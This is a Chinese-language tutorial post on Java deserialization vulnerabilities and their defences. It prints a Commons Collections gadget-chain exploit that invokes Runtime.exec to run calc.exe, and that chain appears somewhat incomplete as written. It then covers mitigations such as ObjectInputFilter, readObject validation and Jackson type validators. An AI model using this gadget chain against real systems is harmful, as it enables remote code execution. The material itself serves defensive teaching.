MK
摩柯社区 - 一个极简的技术知识社区
AI 面试

Java 序列化的安全问题与解决方案

2021-05-221.2k 阅读

Java 序列化基础

在深入探讨 Java 序列化的安全问题与解决方案之前,我们先来回顾一下 Java 序列化的基本概念和原理。

什么是 Java 序列化

Java 序列化是指将 Java 对象转换为字节序列的过程,以便能够在网络上传输或者存储到文件中。反序列化则是将字节序列重新转换回 Java 对象的过程。通过实现 java.io.Serializable 接口,一个类的对象就可以被序列化。

序列化的目的

  1. 对象持久化:将对象保存到文件中,以便在程序下次运行时可以重新加载使用。例如,保存游戏进度、配置信息等。
  2. 网络传输:在分布式系统中,需要将对象从一个节点传输到另一个节点,通过序列化将对象转换为字节流在网络上传输,接收方再反序列化还原对象。

简单的序列化和反序列化示例

import java.io.*;

class Employee implements Serializable {
    private String name;
    private int age;

    public Employee(String name, int age) {
        this.name = name;
        this.age = age;
    }

    @Override
    public String toString() {
        return "Employee{" +
                "name='" + name + '\'' +
                ", age=" + age +
                '}';
    }
}

public class SerializationExample {
    public static void main(String[] args) {
        // 序列化
        Employee employee = new Employee("John", 30);
        try (ObjectOutputStream oos = new ObjectOutputStream(new FileOutputStream("employee.ser"))) {
            oos.writeObject(employee);
        } catch (IOException e) {
            e.printStackTrace();
        }

        // 反序列化
        try (ObjectInputStream ois = new ObjectInputStream(new FileInputStream("employee.ser"))) {
            Employee deserializedEmployee = (Employee) ois.readObject();
            System.out.println(deserializedEmployee);
        } catch (IOException | ClassNotFoundException e) {
            e.printStackTrace();
        }
    }
}

在上述代码中,Employee 类实现了 Serializable 接口。通过 ObjectOutputStream 进行序列化操作,将 Employee 对象写入文件 employee.ser。然后通过 ObjectInputStream 从文件中读取字节序列并反序列化为 Employee 对象。

Java 序列化的安全问题

虽然 Java 序列化提供了方便的对象持久化和传输功能,但它也存在一些严重的安全问题。

反序列化漏洞原理

当一个应用程序反序列化不受信任的数据时,攻击者可以构造恶意的序列化数据,使得反序列化过程执行恶意代码。这是因为在反序列化过程中,Java 会调用对象的构造函数、readObject 等方法,如果这些方法被恶意利用,就可能导致严重的安全漏洞。

常见的反序列化攻击方式

  1. 利用已知的 Gadget:攻击者利用 Java 类库中一些已知的类和方法组合(称为 Gadget),这些 Gadget 可以在反序列化时执行任意代码。例如,Commons Collections 库中的一些类就可以被用于构造恶意的序列化数据。
  2. 绕过安全管理器:在某些情况下,攻击者可以绕过 Java 的安全管理器,即使安全管理器存在,也能执行恶意代码。这通常涉及到对类加载机制和安全策略的巧妙利用。

代码示例 - 利用 Commons Collections 进行反序列化攻击

假设应用程序依赖了 Commons Collections 库,攻击者可以构造如下恶意的序列化数据:

import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.map.LazyMap;

import java.io.*;
import java.lang.reflect.Constructor;
import java.util.HashMap;
import java.util.Map;

public class DeserializationAttack {
    public static void main(String[] args) throws Exception {
        // 构造恶意的 Transformer 链
        Transformer[] transformers = new Transformer[]{
                new ConstantTransformer(Runtime.class),
                new InvokerTransformer("getMethod", new Class[]{String.class, Class[].class}, new Object[]{"getRuntime", new Class[0]}),
                new InvokerTransformer("invoke", new Class[]{Object.class, Object[].class}, new Object[]{null, new Object[0]}),
                new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"calc.exe"})
        };
        Transformer transformerChain = new ChainedTransformer(transformers);

        // 使用 LazyMap 来触发恶意操作
        Map innerMap = new HashMap();
        Map outerMap = LazyMap.decorate(innerMap, transformerChain);

        // 构造恶意的序列化数据
        Constructor constructor = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler").getDeclaredConstructor(Class.class, Map.class);
        constructor.setAccessible(true);
        Object instance = constructor.newInstance(Override.class, outerMap);

        try (ObjectOutputStream oos = new ObjectOutputStream(new FileOutputStream("evil.ser"))) {
            oos.writeObject(instance);
        } catch (IOException e) {
            e.printStackTrace();
        }

        // 模拟反序列化操作(实际应用中可能在其他地方进行反序列化)
        try (ObjectInputStream ois = new ObjectInputStream(new FileInputStream("evil.ser"))) {
            ois.readObject();
        } catch (IOException | ClassNotFoundException e) {
            e.printStackTrace();
        }
    }
}

在上述代码中,通过 Commons Collections 库构造了一个恶意的 Transformer 链,当反序列化包含这个恶意构造的对象时,就会执行 calc.exe 程序。在实际攻击场景中,攻击者可能会执行更具破坏性的命令,如删除文件、窃取敏感信息等。

反序列化攻击的危害

  1. 数据泄露:攻击者可以获取应用程序中的敏感数据,如数据库连接信息、用户密码等。
  2. 系统破坏:执行恶意命令,删除文件、格式化硬盘等,导致系统无法正常运行。
  3. 权限提升:利用反序列化漏洞,攻击者可能提升自己在系统中的权限,从而进一步扩大攻击范围。

Java 序列化安全问题的解决方案

面对 Java 序列化的安全问题,我们需要采取一系列措施来确保应用程序的安全性。

不反序列化不可信的数据

这是最基本也是最有效的原则。如果数据来源不可信,如来自不受信任的网络请求、外部文件等,坚决不进行反序列化操作。例如,在 Web 应用中,对于用户上传的可能包含序列化数据的文件,直接拒绝处理。

使用安全的反序列化库

  1. Jackson 库:Jackson 是一个流行的 Java 序列化和反序列化库,它提供了更安全的反序列化机制。通过配置 ObjectMapper,可以限制反序列化的类,防止反序列化恶意类。
import com.fasterxml.jackson.databind.ObjectMapper;
import com.fasterxml.jackson.databind.jsontype.BasicPolymorphicTypeValidator;
import com.fasterxml.jackson.databind.jsontype.PolymorphicTypeValidator;

import java.io.File;
import java.io.IOException;

public class JacksonDeserializationExample {
    public static void main(String[] args) {
        ObjectMapper mapper = new ObjectMapper();
        // 限制反序列化的类
        PolymorphicTypeValidator ptv = BasicPolymorphicTypeValidator.builder()
               .allowIfBaseType(Employee.class)
               .build();
        mapper.activateDefaultTyping(ptv, ObjectMapper.DefaultTyping.NON_FINAL);

        try {
            Employee employee = mapper.readValue(new File("employee.json"), Employee.class);
            System.out.println(employee);
        } catch (IOException e) {
            e.printStackTrace();
        }
    }
}

在上述代码中,通过 BasicPolymorphicTypeValidator 配置只允许反序列化 Employee 类及其子类,这样可以防止反序列化恶意类。

  1. Gson 库:Gson 也是一个常用的 JSON 处理库,它默认不支持反序列化任意类型,从而避免了一些反序列化漏洞。在使用 Gson 进行反序列化时,只针对已知的、安全的类进行操作。
import com.google.gson.Gson;

public class GsonDeserializationExample {
    public static void main(String[] args) {
        String json = "{\"name\":\"Jane\",\"age\":25}";
        Gson gson = new Gson();
        Employee employee = gson.fromJson(json, Employee.class);
        System.out.println(employee);
    }
}

这里通过 Gson 从 JSON 字符串反序列化为 Employee 对象,由于 Gson 的设计,不会出现类似 Java 原生序列化的反序列化漏洞。

自定义反序列化逻辑

  1. 重写 readObject 方法:在自定义类中重写 readObject 方法,对反序列化的数据进行严格的验证和过滤。
import java.io.*;

class SecureEmployee implements Serializable {
    private String name;
    private int age;

    public SecureEmployee(String name, int age) {
        this.name = name;
        this.age = age;
    }

    private void readObject(ObjectInputStream ois) throws IOException, ClassNotFoundException {
        ois.defaultReadObject();
        // 验证 name 字段
        if (name == null || name.length() > 100) {
            throw new InvalidObjectException("Invalid name");
        }
        // 验证 age 字段
        if (age < 0 || age > 120) {
            throw new InvalidObjectException("Invalid age");
        }
    }

    @Override
    public String toString() {
        return "SecureEmployee{" +
                "name='" + name + '\'' +
                ", age=" + age +
                '}';
    }
}

在上述代码中,SecureEmployee 类重写了 readObject 方法,对反序列化后的 nameage 字段进行验证,确保数据的合法性。

  1. 使用 ObjectInputFilter:从 Java 9 开始,引入了 ObjectInputFilter 接口,可以在反序列化过程中对类进行过滤。
import java.io.*;
import java.util.Arrays;
import java.util.List;

public class ObjectInputFilterExample {
    public static void main(String[] args) {
        // 定义允许反序列化的类
        List<String> allowedClasses = Arrays.asList("com.example.SecureEmployee");
        ObjectInputFilter filter = (info) -> {
            String className = info.referenceClass().getName();
            return allowedClasses.contains(className) ? ObjectInputFilter.Status.ALLOWED : ObjectInputFilter.Status.REJECTED;
        };
        ObjectInputFilter.Config.setSerialFilter(filter);

        try (ObjectInputStream ois = new ObjectInputStream(new FileInputStream("secure_employee.ser"))) {
            SecureEmployee employee = (SecureEmployee) ois.readObject();
            System.out.println(employee);
        } catch (IOException | ClassNotFoundException e) {
            e.printStackTrace();
        }
    }
}

通过 ObjectInputFilter,可以根据类名等信息对反序列化的类进行过滤,只有在允许列表中的类才能被反序列化。

安全配置和检测

  1. 启用安全管理器:Java 的安全管理器可以限制代码的权限,防止恶意代码执行。在启动应用程序时,可以通过 -Djava.security.manager 参数启用安全管理器,并配置相应的安全策略文件。
  2. 使用静态代码分析工具:如 SonarQube 等静态代码分析工具,可以检测出代码中可能存在的反序列化安全漏洞。这些工具通过分析代码结构和调用关系,发现潜在的风险点,帮助开发者及时修复。
  3. 定期更新依赖库:及时更新应用程序所依赖的库,包括 Commons Collections 等可能存在反序列化漏洞的库。新的库版本通常会修复已知的安全问题,降低安全风险。

通过以上多种解决方案的综合应用,可以有效防范 Java 序列化带来的安全问题,确保应用程序的安全性和稳定性。在实际开发中,开发者需要根据具体的应用场景和需求,选择合适的安全措施,保障系统免受反序列化攻击的威胁。同时,随着技术的不断发展,安全问题也会不断演变,开发者需要持续关注最新的安全动态,及时调整和完善安全策略。